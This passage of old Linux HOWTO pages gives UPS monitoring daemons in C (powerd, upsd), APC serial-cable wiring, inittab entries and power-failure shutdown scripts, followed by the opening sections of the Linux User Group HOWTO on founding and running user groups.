  -The transistor works as an "inverter". If you shutdown your PC,
   AND the power ist down, then pin 4(PC) goes low and 1(UPS) goes
   high. This shuts down the UPS  for saving batteries power.

 2) The powerd-Source:
=======================

I patched the powerd-source very little (so it is really the source
of Miquel).

(a) Give an "alert" to the syslogd if 8(PC, CTS) is down (Cause
     the cable is not connected)

(b) DCD droped to zero => power has failed => call powerfail(0)
    => Give INIT_CMD_POWERFAIL to the init-process

(c) DCD comes up again => power is back => call powerfail(1)
    => Give INIT_CMD_POWEROK to the init-process

(d) DSR and DCD are dropped to zero => power has failed and
    battery is low => call powerfail(2) => Give
    INIT_CMD_POWERFAILNOW to the init-process

 Thats it.

------------------------------>8---- Schnipp ----------------------------

/*
 * powerd       Monitor the DCD line of a serial port connected to
 *              an UPS. If the power goes down, notify init.
 *              If the power comes up again, notify init again.
 *              As long as the power is OK, the DCD line should be
 *              "HIGH". When the power fails, DCD should go "LOW".
 *              Powerd keeps DTR high so that you can connect
 *              DCD and DTR with a resistor of 10 Kilo Ohm and let the
 *              UPS or some relais pull the DCD line to ground.
 *              You also need to connect DTR and DSR together. This
 *              way, powerd can check now and then if DSR is high
 *              so it knows the UPS is connected!!
 *
 * Usage:       powerd /dev/cua4 (or any other serial device).
 *
 * Author:      Miquel van Smoorenburg, <miquels@drinkel.cistron.nl>.
 *              Some minor changes by Markus Eiden, <Markus@Eiden.de>
 *              for the APC-Smart-UPS-powerd.
 *
 * Version:     1.31,  29-Feb-1996.
 *
 *              This program was originally written for my employer,
 *                      ** Cistron Electronics **
 *              who has given kind permission to release this program
 *              for general puppose.
 *
 *              Copyright 1991-1996 Cistron Electronics.
 *
 *              This program is free software; you can redistribute it and/or
 *              modify it under the terms of the GNU General Public License
 *              as published by the Free Software Foundation; either version
 *              2 of the License, or (at your option) any later version.
 *
 *              Some minor changes for the APC-powerd by Markus Eiden
 *              Markus@Eiden.de
 */

/* Use the new way of communicating with init. */
#define NEWINIT

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include "paths.h"
#ifdef NEWINIT
#include "initreq.h"
#endif

#ifndef SIGPWR
#  define SIGPWR SIGUSR1
#endif

#ifdef NEWINIT
void alrm_handler()
{
}
#endif

/* Tell init the power has either gone or is back. */
void powerfail(ok)
int ok;
{
  int fd;
#ifdef NEWINIT
  struct init_request req;

  /* Fill out the request struct. */
  memset(&req, 0, sizeof(req));
  req.magic = INIT_MAGIC;

  /* INIT_CMD_* are definied in initreq.h                   *
   * Have a look at  init.c and /etc/inittab                *
   *                                                        *
   * ok=0 -> INIT_CMD_POWERFAIL      -> powerwait           *
   * ok=1 -> INIT_CMD_POWEROK        -> powerokwait         *
   * ok=2 -> INIT_CMD_POWERFAILNOW   -> powerfailnow        */

  switch (ok) {
    case 0 : req.cmd = INIT_CMD_POWERFAIL;
             /* Linefail -> warning */
             break;
    case 1 : req.cmd = INIT_CMD_POWEROK;
             /* Power is back -> cancel warning */
             break;
    case 2 : req.cmd = INIT_CMD_POWERFAILNOW;
             /* Linefail and LowBatt -> reboot */
             break;
             }

  /* Open the fifo (with timeout) */
  signal(SIGALRM, alrm_handler);
  alarm(3);
  if ((fd = open(INIT_FIFO, O_WRONLY)) >= 0
                && write(fd, &req, sizeof(req)) == sizeof(req)) {
        close(fd);
        return;
  }
  /* Fall through to the old method.. */
#endif

  /* Create an info file for init. */
  unlink(PWRSTAT);
  if ((fd = open(PWRSTAT, O_CREAT|O_WRONLY, 0644)) >= 0) {
        if (ok)
                write(fd, "OK\n", 3);
        else
                write(fd, "FAIL\n", 5);
        close(fd);
  }
  kill(1, SIGPWR);
}

/* Main program. */
int main(int argc, char **argv)
{
  int fd;
  int dtr_bit = TIOCM_DTR;
  int flags;
  int status, oldstat = -1;
  int count = 0;
  int tries = 0;
  int powerfailed = 0;
  int rebootnow   = 0;

  if (argc < 2) {
        fprintf(stderr, "Usage: powerd <device>\n");
        exit(1);
  }

  /* Start syslog. */
  openlog("powerd", LOG_CONS|LOG_PERROR, LOG_DAEMON);

  /* Open monitor device. */
  if ((fd = open(argv[1], O_RDWR | O_NDELAY)) < 0) {
        syslog(LOG_ERR, "%s: %s", argv[1], sys_errlist[errno]);
        closelog();
        exit(1);
  }

  /* Line is opened, so DTR is high. Force it anyway to be sure. */

  /* USE: low Batt -> Reboot -> DTR goes low                     *
   * transistor is open -> shutdown-pin  of the UPS goes         *
   * high -> UPS goes down after about 20s. If there is a        *
   * linefail and the computer is off, the                       *
   * UPS goes down. If the power is back, the                    *
   * UPS goes on, the computer boots, and powerd                 *
   * is startet.                                                 */

 /* Verwendung: Die UPS meldet low Batt -> Reboot -> DTR geht   *
   * auf Low -> Transistor oeffnet -> Shutdown der UPS geht auf  *
   * High -> UPS schaltet sich nach circa 20s aus. Bei jedem     *
   * Linefail und ausgeschaltetem Computer, schaltet sich die    *
   * UPS aus. Kommt der Strom zurueck, dann schaltet sich die    *
   * UPS selbstaendig ein, der Computer bootet, und der powerd   *
   * wird gestartet.                                             */

  ioctl(fd, TIOCMBIS, &dtr_bit);

  /* Daemonize. */
  switch(fork()) {
        case 0: /* Child */
                closelog();
                setsid();
                break;
        case -1: /* Error */
                syslog(LOG_ERR, "can't fork.");
                closelog();
                exit(1);
        default: /* Parent */
                closelog();
                exit(0);
  }

  /* Restart syslog. */
  openlog("powerd", LOG_CONS, LOG_DAEMON);

   syslog(LOG_INFO, "APCpowerd started...");

  /* Now sample the DCD line. */
  while(1) {
        /* Get the status. */
        ioctl(fd, TIOCMGET, &flags);

        /* Check the connection: CTS should be high. */
        tries = 0;
        /* TIOCM_*- have a look at  .../ams/termios.h */
        while((flags & TIOCM_CTS) == 0) {
                /* Keep on trying, and warn every two minutes. */
                if ((tries % 60) == 0)
                    syslog(LOG_ALERT, "UPS connection error");
                sleep(2);
                tries++;
                ioctl(fd, TIOCMGET, &flags);
        }
        if (tries > 0)
                syslog(LOG_ALERT, "UPS connection OK");

        /* Calculate present status. */
        status = (flags & TIOCM_CAR);

        /* Did DCD drop to zero? Then the power has failed. */
        if (oldstat != 0 && status == 0) {
                count++;
                if (count > 3) {
                        powerfailed = 1;
                        powerfail(0);
                        }
                else {
                        sleep(1);
                        continue;
                }
        }
        /* Did DCD come up again? Then the power is back. */
        if (oldstat == 0 && status > 0) {
                count++;
                if (count > 3) {
                        powerfailed = 0;

                        /* eigentlich unnoetig: */
                        rebootnow = 0;

                        powerfail(1);
                        }
                else {
                        sleep(1);
                        continue;
                }
        }

        /* Low battery and Linefail ? */
        if (rebootnow==0)
        if (powerfailed==1)
        if ((flags & TIOCM_DSR) == 0)
        {
           rebootnow=1;
           powerfail(2);

        }

        /* Reset count, remember status and sleep 2 seconds. */
        count = 0;
        oldstat = status;
        sleep(2);
  }
  /* Never happens */
  return(0);
}

------------------- schnap ------------ 8<-----------------------------

 3) Change your inittab:
=========================

Init gets the INIT_CMDs and will start a script:

pf::powerwait:/sbin/init.d/powerfail    start
pn::powerfailnow:/sbin/init.d/powerfail now
po::powerokwait:/sbin/init.d/powerfail  stop

(Which means for example: if the power has failed (powerwait) start the
script /sbin/init.d/powerfail with the parameter "start".)

4) The powerfail-Script
========================

------------------ 8< ------- schnipp ---------------

#! /bin/sh
# Copyright (c) 1997 Markus Eiden, Markus@Eiden.de
#

case "$1" in
    start)
        echo "THE POWER IS DOWN!" | wall
        logger "Powerfail"
        ;;
    now)
        echo "BATTERY IS LOW! Shutdown in 1 minute" | wall
        logger "Battery is low, shutdown in 1 minute"
        sync
        /sbin/shutdown -r -t 5 +1
        ;;
    stop)
        echo "THE POWER IS BACK!!" | wall
        logger "Power is back"

        /sbin/shutdown -c >/dev/null 2>/dev/null

        ;;
  *)
        echo "Usage: $0 {start|now|stop}"
        exit 1
        ;;
esac

exit 0

--------------------- >8 ----------- schnapp -------------

Well, that should be easy ;-)

You are ready now, but be careful: It works for me, but I really can't
guarantee that any of this will work for you.

Some advice at the end:  If /sbin/init.d/powerfail shuts down your
PC  then DTR goes down, so the shutdown pin (UPS) goes high.
>From that time it takes about 20 or 30 seconds for the UPS to shut down.
It is your job to prevent your Linux-box from booting within these 20
seconds (in particular to mount the filesystem). On my system it was no
problem. There are four easy ways to prevent the PC from the fast booting:

 1) The BIOS should do some routines (Like searching the number of
     tracks of your floppydisk if you have one)

 2) If you have LILO installed, tell him to wait.

 3) You do nothing (like I did)

 4) You buy some more memory so that counting the memory takes 30 seconds.
    That should be about 1024 Megabytes ;-).

Markus Eiden

Markus@Eiden.de

--
-----------------------------------------------------------------------
StR Dipl.-Ing. Markus Eiden \\://                       Markus@eiden.de
Am alten Sportplatz 3       (o -)        http://www.rp.schule.de/eiden/
D-67599 Gundheim      ---ooO-(_)-Ooo---             NIC-HDL: ME256-RIPE

APC Smart-UPS 1400

Another day, another APC. This is for the Smart-UPS 1400, in dumb mode.

From: "Slavik Terletsky" <ts@polynet.lviv.ua>
To: hjstein@math.huji.ac.il
Subject: my contribution to UPS HOWTO
Date: Mon, 27 Jan 1997 21:10:16 +0000

Hello
I just hacked ups daemon, if you want, you may enclose it
in your UPS HOWTO document (i used some info from).
Please replay.
--

UPS daemon for FreeBSD (2.1.5 - tested).
Interacts with APC Smart-UPS 1400.

Connection scheme:

UPS (pin, signal name)          PC (pin, signal name)
----------------------          ---------------------
1 Shutdown              >----------->   4 Data Terminal Ready
2 Line Failed           >----------->   8 Clear To Send
4 Common                >----------->   5 Ground
5 Battery Low           >--------+-->   1 Data Carrier Detector
8 Battery (+24V)        >--|10K|-+

UPSD DESCRIPTION

usage: upsd <device> [wait [script]]

device  - device name upsd interacts thru (e.g. /dev/cuaa1)
wait    - time (secs) to wait before running script, (default value 0 sec).
script  - system shutdown script (default /etc/rc.shutdown).

Actions:
upsd logs all the changes of UPS status (power {up,down}, battery {low,ok}).
When "power down" and "battery low" upsd activates UPS SHUTDOWN signal,
waits for a <wait> seconds, and then runs system shutdown script - <script>.

Script sample:

#!/bin/sh
# Script is executed when system is going down.

PATH=/sbin:/bin:/usr/sbin:/usr/bin

echo "System is going DOWN right NOW" | wall

reboot

Upsd source:
/* UPS daemon
 * Copyright 1997 Slavik Terletsky. All rights reserved.
 * Author: Slavik Terletsky <ts@polynet.lviv.ua>
 * System: FreeBSD
 */
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <syslog.h>
#include <unistd.h>
#include <varargs.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/ttycom.h>

int status;
int wait = 0;
FILE *fd;
char *scr = "/etc/rc.shutdown";
char *idf = "/var/run/upsd.pid";

void upsterm();
void upsdown(int);

int main(int argc, char *argv[]) {
 int pd;
 int zero = 0;
 char d5, d6, d7;
 char low = 0;
 char pow = 1;

 /* check arguments */
 switch(argc) {
 case  4:
 scr = argv[3];
 case  3:
 wait = atoi(argv[2]);
 case  2:
 break;
 default:
 fprintf(stderr, "usage: %s <device> [wait [script]]\n", argv[0]);
 exit(1);
 }

 /* check if script exists */
 if(!(fd = fopen(scr, "r"))) {
 fprintf(stderr, "fopen: %s: %s\n", scr, sys_errlist[errno]);
 exit(1);
 }
 fclose(fd);

 /* check if upsd is already running */
 if(fd = fopen(idf, "r")) {
 fprintf(stderr, "fopen: %s: File already exists\n", idf);
 exit(1);
 }

 /* become a daemon */
 switch(fork()) {
 case -1:       /* error */
 fprintf(stderr, "fork: %s\n", sys_errlist[errno]);
 exit(1);
 case  0:       /* child */
 break;
 default:       /* parent */
 exit(0);
 }

 /* save the pid */
 if(!(fd = fopen(idf, "w"))) {
 fprintf(stderr, "fopen: %s: %s\n", idf, sys_errlist[errno]);
 exit(1);
 }
 fprintf(fd, "%d\n", (int)getpid());
 fclose(fd);

 /* open monitor device */
 if((pd = open(argv[1], O_RDWR | O_NDELAY)) < 0) {
 fprintf(stderr, "open: %s: %s\n", argv[1], sys_errlist[errno]);
 exit(1);
 }

 /* daemon is alive */
 openlog("upsd", LOG_PID, LOG_DAEMON);
 syslog(LOG_INFO, "daemon started");

 /* signal reaction */
 (void)signal(SIGTERM, upsterm);

 /* monitor device */
 while(1) {
 /* clear bits */
 if(ioctl(pd, TIOCMSET, &zero) < 0) {
  fprintf(stderr, "ioctl: %s\n", sys_errlist[errno]);
  exit(1);
 }

 /* get device status */
 if(ioctl(pd, TIOCMGET, &status) < 0) {
  fprintf(stderr, "ioctl: %s\n", sys_errlist[errno]);
  exit(1);
 }

 /* determin status */
 d5 = status & 0x20;
 d6 = status & 0x40;
 d7 = status & 0x80;

 /* power up */
 if(!(d7 + d5)) {
  if(!pow) {
   syslog(LOG_CRIT, "power up");
   pow = 1;
  }
 /* power down */
 } else {
  if(pow) {
   syslog(LOG_CRIT, "power down");
   pow = 0;
  }
 }

 /* battery low */
 if(!d6 && !low) {
  syslog(LOG_ALERT, "battery low");
  low = 1;

  /* down ups */
  if(!pow) {
   upsdown(pd);
  }
 }

 /* battery ok */
 if(d6 && low) {
  syslog(LOG_CRIT, "battery ok");
  low = 0;
 }

 sleep(1);
 }

 /* not reached */
 return 0;

}

void upsterm() {
 /* log termination message */
 syslog(LOG_INFO, "daemon terminated");

 /* remove pid file */
 unlink(idf);

 exit(0);
}

void upsdown(int pd) {
 /* log shutdown message */
 syslog(LOG_ALERT, "system is going down");

 /* remove pid file */
 unlink(idf);

 /* save our filesystem */
 system("/bin/sync");
 system("/bin/sync");
 system("/bin/sync");

 /* shutdown ups */
 status = TIOCM_DTR;
 if(ioctl(pd, TIOCMSET, &status) < 0) {
 fprintf(stderr, "ioctl: %s\n", sys_errlist[errno]);
 exit(1);
 }

 /* wait and then run script */
 sleep(wait);
 system(scr);
}
# Slavik Terletsky      # University "Lvivska Poytechnika" #
# Network Administrator # mailto:ts@polynet.lviv.ua        #


The UPS Howto: How to shutdown other machines on the same UPS

 Next Previous Contents

9. How to shutdown other machines on the same UPS

Some people (myself included) have several computers running Linux connected to one UPS. One computer monitors the UPS and needs to get the other computers to shut down when the power goes out.

We assume the computers can communicate over a network. Call the computer that monitors the UPS the master and the other computers the slaves.

In the old days this required some fancy programming.

These days, the best thing to do is to pick up either the powerd-2.0.tar.gz package or the upsd-1.0.tgz package (see section Software), and follow the instructions. Both are able to run on the slaves in a mode where they connect over the network to a powerd or upsd process running on the master to query the status of the UPS. Some of the APC specific packages seem to have this ability too.

Note, though, that if your network is insecure, you might want to add a little security to this, lest someone spoof the slave powerd processes into thinking that the power is out.

Another possibility is to go for SNMP (Simple Network Management Protocol). Detailing the use of SNMP is beyond the scope of this document, not to mention currently being beyond me.


Linux User Group HOWTO

Kendall Grant Clark

v.1.6.2, 24 April 1998

The Linux User Group HOWTO is a guide to founding, maintaining, and growing a Linux User Group.

1. Introduction

  • 1.1 Purpose
  • 1.2 Other sources of information

2. What is a Linux User Group?

  • 2.1 What is Linux?
  • 2.2 How is Linux unique?
  • 2.3 What is a user group?
  • 2.4 Summary

3. What LUGs are there?

  • 3.1 Lists of LUGs
  • 3.2 Solidarity versus convenience

4. What does a LUG do?

  • 4.1 Linux advocacy
  • 4.2 Linux education
  • 4.3 Linux support
  • 4.4 Linux socializing

5. Local LUG activities

  • 5.1 Meetings
  • 5.2 Online resources

6. Practical suggestions

  • 6.1 LUG support organizations
  • 6.2 Founding a LUG
  • 6.3 Maintaining and growing a LUG

7. Legal and political issues

  • 7.1 Legal issues
  • 7.2 United States
  • 7.3 Canada
  • 7.4 Political issues

8. About this document

  • 8.1 Terms of use
  • 8.2 New versions
  • 8.3 Please contribute to this HOWTO
  • 8.4 Document history
  • 8.5 Acknowledgements


Linux User Group HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Purpose

The Linux User Group HOWTO is intended to serve as a guide to founding, maintaining, and growing a Linux User Group.

Linux is a freely-distributable implementation of Unix for personal computers, servers and workstations. It was developed on the i386 and now supports i486, Pentium, Pentium Pro, and Pentium II processors, as well as x86-clones from AMD, Cyrix, and others. It also supports many SPARC, DEC Alpha, PowerPC/PowerMac, Motorola 68x0 Mac/Amiga machines.

1.2 Other sources of information

If you want to learn more about Linux, the Linux Documentation Project is a good place to start.

For general information about computer user groups, please see the Association of PC Users Groups.


Linux User Group HOWTO: What is a Linux User Group?

 Next Previous Contents

2. What is a Linux User Group?

2.1 What is Linux?

In order to appreciate and understand fully the significant role of LUGs in the Linux Movement, it is important to understand what makes Linux unique among computer operating systems.

Linux as an operating system is very efficient and very powerful. But, Linux as an idea about how software ought to be developed is even more powerful. Linux is a free operating system: it is licensed under the GNU Public License. The source code is freely available to anyone who wants it and always will be. It is developed by a unstructured group of programmers from around the world, under the technical direction of Linus Torvalds and other key developers. Linux is a world-wide movement without any central structure, bureaucracy, or entity to control, coordinate, or otherwise direct its affairs. While this situation is a powerful part of the appeal and technical quality of Linux as an computer operating system, it can make for inefficient allocation of human resources, ineffective and even detrimental advocacy, public relations, user education and training.

2.2 How is Linux unique?

This loose structure is not likely to change with regard to Linux as a software project. And it's a good thing, too. Linux works precisely because people are free to come and go as they please: free programmers are happy programmers are effective programmers.

But this loose structure can make the average Linux user's life a little complicated--especially if that user isn't a programmer by profession or by vocation. Who does she call for support, training, or education? How does she know the kinds of uses for which Linux is well-suited?

In large part local LUGs provide the answers to these kinds of question. This is why LUGs are a crucial part of the Linux Movement. Because there is no ``regional office'' of the Linux Corporation in your town or village or metropolis, the local LUG takes on many of the same roles that a regional office does for a large multi-national corporation..

Linux is unique because it does not have, nor is it burdened by, a central structure or bureaucracy to allocate its resources, train its users, or provide support for its products. These jobs get done in a variety of ways: the Internet, consultants, VARs, support companies, colleges and universities. But, increasingly, in many places around the globe, they get done by a local LUG.

2.3 What is a user group?

Computer user groups, at least in the United States, are not a new phenomenon; in fact, they played an important role in the history of the personal computer. The personal computer arose in large part to satisfy the demand of electronics, Ham Radio, and other hobbyist user groups, as well as trade shows and swap meets, for affordable, personal access to computing resources. Of course eventually giants like IBM discovered that the PC was a good and profitable thing, but the impetus for the PC came from the people, by the people, and for the people.

In the United States, user groups have changed, and many for the worse, with the times. The financial woes of the largest user group ever, the Boston Computer Society have been well-reported; but all over the U.S. most of the big PC user groups have seen a decline in real membership. American user groups in their heyday concentrated on the production of newsletters, the maintenance of shareware and diskette libraries, meetings, social events, and, sometimes, even Bulletin Board Systems. With the advent of the Internet, however, many of the services that user groups once provided were transferred to things like CompuServe, AOL, and the Web.

The rise of Linux, however, coincided with and was intensified by general public's ``discovery'' of the Internet. As the Internet grew more popular, so did Linux: the Internet brought new users, developers, and vendors to the Linux Movement.

So just when traditional PC user groups were declining because of the Internet's popularity, this popularity propelled Linux forward, creating new demand for new user groups dedicated exclusively to Linux. To give just one indication of the ways in which a LUG is different than a traditional user group, I call the reader's attention to a curious fact: traditional user groups have had to maintain a fairly tight control over the kinds of software that its users copy and trade at its meetings. While illegal copying of commercial software certainly occurred at these meetings, it was officially discouraged and for good reason.

At a LUG meeting, however, this entire mindset simply does not apply. Far from being the kind of thing that a LUG ought to discourage, the free copying of Linux itself ought to be one of the primary activities of a LUG. In fact there is anecdotal evidence that traditional user groups sometimes have a difficult time adapting to the fact that Linux can be freely copied as many times as one needs or wants.

2.4 Summary

In order for the Linux Movement to continue to flourish, the proliferation and success of local LUGs, along with other factors, is an absolute requirement. Because of the unique status of Linux, the local LUG must provide some of the same functions that a ``regional office'' provides for large computer corporations like IBM, Microsoft, or Sun. LUGs can and must train, support, and educate Linux users, coordinate Linux consultants, advocate Linux as a computing solution, and even serve as a liason to local media outlets like newspapers and television.


Linux User Group HOWTO: What LUGs are there?

 Next Previous Contents

3. What LUGs are there?

Since this document is meant as a guide not only to maintaining and growing LUGs but also to founding them, it would be well before we go much further to determine what LUGs there are.

3.1 Lists of LUGs

There are several lists of LUGs available on the Web. If you want to found a local LUG, one of the first things to do is to determine where the nearest LUG is. Your best bet may be to join a LUG that is already established in your area rather than founding a new one.

As of the mid-1997, there are LUGs in all 50 states, the District of Columbia, and 26 other countries, including India, Russia, and most of Western and Eastern Europe.

Note: the biggest untapped computing market on the planet, China, does not yet appear to have a LUG, and India, the second most populous country on the planet, has only a few.

  • Finding Groups of Linux Users Everywhere
  • LUG List Project
  • LUG Registry

It appears that the GLUE list is more comprehensive for American LUGs, while the LUG List Project offers more comprehensive international coverage.

3.2 Solidarity versus convenience

While the lists of LUGs on the Web are well-maintained, it is likely that they do not list every LUG. In addition to consulting these lists, I suggest, if you are considering founding a LUG, that you post a short message asking about the existence of a local LUG to comp.os.linux.announce, comp.os.linux.misc, or an appropriate regional Usenet hierarchy. If there isn't a LUG already in your area, then posting mesages to these groups will alert potential members of your plans.

If you plan to found a local LUG, you should carefully balance convenience against solidarity. In other words, if there is a LUG in your metropolitan area, but on the other side of the city, it may be better to start a new group for the sake of convenience. But it may be better to join the pre-existing group for the sake of unity and solidarity. Greater numbers almost always means greater power, influence, and efficiency. While it might be nice to have two groups of 100 members each, there are certain advantages to one group of 200 members. Of course if you live in a small town or village, any group is better than no group at all.

The point is that starting a LUG is an arduous undertaking, and one that ought to be entered into with all the relevant facts, and with some appreciation of the effect on other groups.


Linux User Group HOWTO: What does a LUG do?

 Next Previous Contents

4. What does a LUG do?

The goals of local LUGs are as varied as the locales in which they operate. There is no master plan for LUGs, nor is this document meant to supply one. Remember: Linux is free from bureaucracy and centralized control and so are local LUGs.

It is possible, however, to identify a core set of goals for a local LUG:

  • advocacy
  • education
  • support
  • socializing

Each local LUG will combine these and other goals in a unique way in order to satisfy the unique needs of its membership.

4.1 Linux advocacy

The urge to advocate the use of Linux is as natural to computer users as is eating or sleeping. When you find something that works and works well, the natural urge is to tell as many people about it as you can. The role of LUGs in Linux advocacy cannot be overestimated, especially since the wide-scale commercial acceptance of Linux which it so richly deserves has not yet been achieved. While it is certainly beneficial to the Linux Movement each and every time a computer journalist writes a positive review of Linux, it is also beneficial every time satisfied Linux users tell their friends, colleagues, employees or employers about Linux.

There is effective advocacy and there is ineffective carping: as Linux users, we must be constantly vigilant to advocate Linux in such a way as to reflect positively on both the product, its creators and developers, and our fellow users. The Linux Advocacy mini-HOWTO, available at the Linux Documentation Project, gives some helpful suggestions in this regard. Suffice it to say that advocacy is an important aspect of the mission of a local LUG.

There may come a time when Linux advocacy is pretty much beside the point because Linux has more or less won the day, when the phrase ``No one ever got fired for using Linux'' becomes a reality. Until that time, however, the local LUG plays an indispensable role in promoting the use of Linux. It does so because its advocacy is free, well-intentioned, and backed up by organizational commitment. If a person comes to know about Linux through the efforts of a local LUG, then that person, as a new Linux user, is already ahead of the game: she is already aware of the existence of an organization that will help her install, configure, and even maintain Linux on whatever computers she is willing to dedicate to it.

New Linux users who are already in contact with a local LUG are ahead of those whose interest in Linux has been piqued by a computer journalist, but who have no one to whom to turn to aid them in their quest to install, run, and learn Linux.

It is, therefore, important for local LUGs to advocate Linux because their advocacy is effective, well-supported, and free.

4.2 Linux education

Not only is it the business of a local LUG to advocate the use of Linux, it may also turn its efforts to training its members, as well as the computing public in its area, to use Linux and associated components. In my own estimation, the goal of user education is the single most important goal a LUG may undertake. Of course, as I have already pointed out, LUGs are perfectly free to organize themselves and their activities around any of these, or other, goals. I believe, however, that LUGs can have the greatest impact on the Linux Movement by educating and training Linux users.

Local LUGs may choose to undertake the goal of education simply because there is no other local entity from which a Linux user may receive technically-oriented education. While it is certainly the case that universities, colleges, and junior colleges are increassingly turning to Linux as a way to educate their students, both efficiently and cheaply, about Unix-like operating systems, some Linux users are either unable or unwilling to register for courses in order to learn Linux. For these users the local LUG is a valuable resource for enhancement or creation of advanced computer skills: Unix-like system administration, system programming, support and creation of Internet and Intranet technologies, etc.

In an ironic twist, many local LUGs are even sharing the burden of worker training with large corporations. Every worker at Acme Corp that expands her computer skills by participating in a local LUG is one less worker Acme Corp has to train or pay to train. Even though using and administering a Linux PC at home isn't the same as administering a corporate data warehouse, call center, or similar high-availability facility, it is light years more complex, more rewarding, and more educational than using and administering a Windows 95 PC at home. As Linux itself advances toward things like journalling filesystems, high-availability, real-time capacity, and other high-end Unix features, the already blurry line between Linux and the ``real'' Unixes will get even more indistinct.

Not only is such education a form of worker training, but it will also serve, as information technology becomes an increasingly vital part of the global economy, as a kind of community service. In most metropolitan areas in the United States, for example, it is possible for a local LUG to take Linux into local schools, small businesses, community and social organizations, and other non-corporate environments. This accomplishes the task of Linux advocacy and also helps train the general public about Linux as a Unix-like operating system. As more and more of these kinds of organizations seek to establish an Internet presence or provide dial-in access to their workers, students, and constituents, the opportunities arise for local LUGs to participate in the life of their community by educating it about a free and freely-available operating system. This kind of community service allows the average Linux user to emulate the kind of generosity that has characterized Linux, and the free software community, from the very beginning. Most Linux users can't program like Linus Torvalds, but we can all all give our time and abilities to other Linux users, the Linux community, and the broader community in which work and live.

Linux is a natural fit for these kinds of organization because deploying it doesn't commit them to expensive license, upgrade, or maintenance fees. Because Linux is also technically elegant and economical, it runs very well on the the kinds of disposable hardware that corporations typically cast off and that non-profit organizations are only too happy to use. As more and more people discover every day, that old 486 collecting dust in the closet can do real work if someone will install Linux on it.

In addition, Linux education has a cumulative effect on the other goals of a local LUG, in particular the goal of Linux support discussed below. Better Linux education means better Linux support. The more people that a LUG can count on to reach its support goals, the easier support becomes and, therefore, the more of it can be done. The more new and inexperienced users a local LUG can support and eventually educate about Linux, the larger and more effective the LUG can become. In other words, if a LUG focuses solely on Linux support to the neglect of Linux education, the natural barriers to organizational growth will be more restrictive. If only two or three percent of the members of a LUG take upon themselves the task of supporting the others, the growth of the LUG will be stifled. One thing you can count on: if new and inexperienced users don't get the help with Linux they need from a local LUG, they won't participate in that LUG for very long. If a larger percentage of members support the others, the LUG will be able to grow much larger. Linux education is the key to this dynamic: education turns new Linux users into experienced ones.

Free education about free Linux also highlights the degree to which Linux is part and parcel of the free software Community. So it seems appropriate that local LUGs focus not solely on Linux education but also education about all of the various software systems and technologies that run under Linux. These include, for instance, the GNU suite of programs and utilities, the Apache Web server, the XFree86 implementation of X Windows, TeX, LaTeX, etc. Fortunately the list of free software that runs under Linux is a long and diverse one.

Finally, Linux is a self-documenting operating environment; in other words, if we don't write the documentation, nobody is going to do it for us. Toward that end, make sure that LUG members are well aware of the Linux Documentation Project, which can be found at mirrors worldwide. Consider providing an LDP mirror for the local Linux community and for LUG members. Also make sure to publicize---through comp.os.linux.announce, the LDP, and other pertinent sources of Linux information---any relevant documentation that is developed by the LUG: technical presentations, tutorials, local FAQs, etc. There is a lot of Linux documentation produced in LUGs that doesn't benefit the worldwide Linux community because no one outside the LUG knows about it. Don't let the LUGs efforts in this regard go to waste: it is highly probable that if someone at one LUG had a question or problem with something, then people at other LUGs around the world will have the same questions and problems.

4.3 Linux support

Of course for the desperate newbie the primary role of a local LUG is Linux support. But it is a mistake to suppose that Linux support only means technical support for new Linux users. It can and should mean much more.

Local LUGs have the opportunity to support:

  • users
  • consultants
  • businesses, non-profit organizations, and schools
  • the Linux Movement

Users

The most frequent complaint from new Linux users, once they have gotten Linux installed, is the steep learning curve which is not at all unique to Linux but is, rather, a characteristic of all modern Unixes. With the steepness of the learning curve, however, comes the power and flexibility of a complex operating system. A local LUG is often the only resource that a new Linux user has available to help flatten out the learning curve.

But even if a new Linux user doesn't know it yet, she needs more than just technical support: Linux and the free software worlds are both rapidly moving targets. The local LUGs form an invaluable conduit of information about Linux and other free software products. Not only does Linux lack a central bureaucracy, but it also for the most part lacks the kind of journalistic infrastructure from which users of other computer systems benefit. The Linux Movement does have resources like Linux Journal and Linux Gazette, but many new Linux users are unaware of these resources. In addition, as monthly publications they are often already out of date about bugfixes, security problems, patches, new kernels, etc. This is where the local LUG as a source and conduit of timely information is so vital to new and experienced Linux users alike.

For example, until a new Linux user knows that the newest kernels are available from ftp.kernel.org or that the Linux Documentation Project usually has newer versions of Linux HOWTOs than a CD-based Linux distribution, it is up to the local LUG, as the primary support entity, to be a conduit of timely and useful information.

In fact it may be just a bit misleading to focus on the support role that local LUGs provide to new users: intermediate and advanced users also benefit from the proliferation of timely and useful tips, facts, and secrets about Linux. Because of the complexity of Linux, even advanced users often learn new tricks or techniques simply by becoming involved in a local LUG. Sometimes they learn about software packages they didn't know existed, sometimes they just remember that arcane vi command sequence they've not used since college.

Consultants

It is, I think, rather obvious to claim that local LUGs ought to be in the business of supporting new Linux users. After all, if they're not supposed to be doing that, what are they to do? It may not be as obvious that local LUGs can play an important role in supporting local Linux consultants. Whether they do Linux consulting full-time or only part-time, consultants can be an important part of a local LUG. How can the LUG support them?

The answer to that question is just the answer to another question: what is it that Linux consultants want and need? They need someone for whom to consult. A local LUG provides the best way for those who offer Linux consulting to find those who need Linux consulting. The local LUG can informally broker connections between consulting suppliers and consulting consumers simply by getting all, or as many as possible, of the people interested in Linux in a local area together and talking with one another. How LUGs do that will occupy us below. What is important here is to point out that LUGs can and should play this role as well. The Linux Consultants HOWTO is an important document in this regard, but it is surely the case that only a fraction of the full-time and part-time Linux consultants worldwide are registered in the Consultants HOWTO.

The relationship is mutually beneficial. Consultants aid LUGs by providing experienced leadership, both technically and organizationally, while LUGs aid consultants by putting them in contact with the kinds of people who need their services. New and inexperienced users gain benefit from both LUGs and consultants since their routine or simple requests for support are handled by LUGs gratis, and their complex needs and problems---the kind that obviously require the services of a paid consultant---can be handled by the consultants whom the local LUG helps them contact.

The line between support requests that need a consultant and those that do not is sometimes indistinct; but in most cases the difference is clear. While a local LUG doesn't want to gain the reputation for pawning new users off unnecessarily on consultants--as this is simply rude and very anti-Linux behavior--there is no reason for LUGs not to help broker contacts between the users who need consulting services and the professionals who offer them.

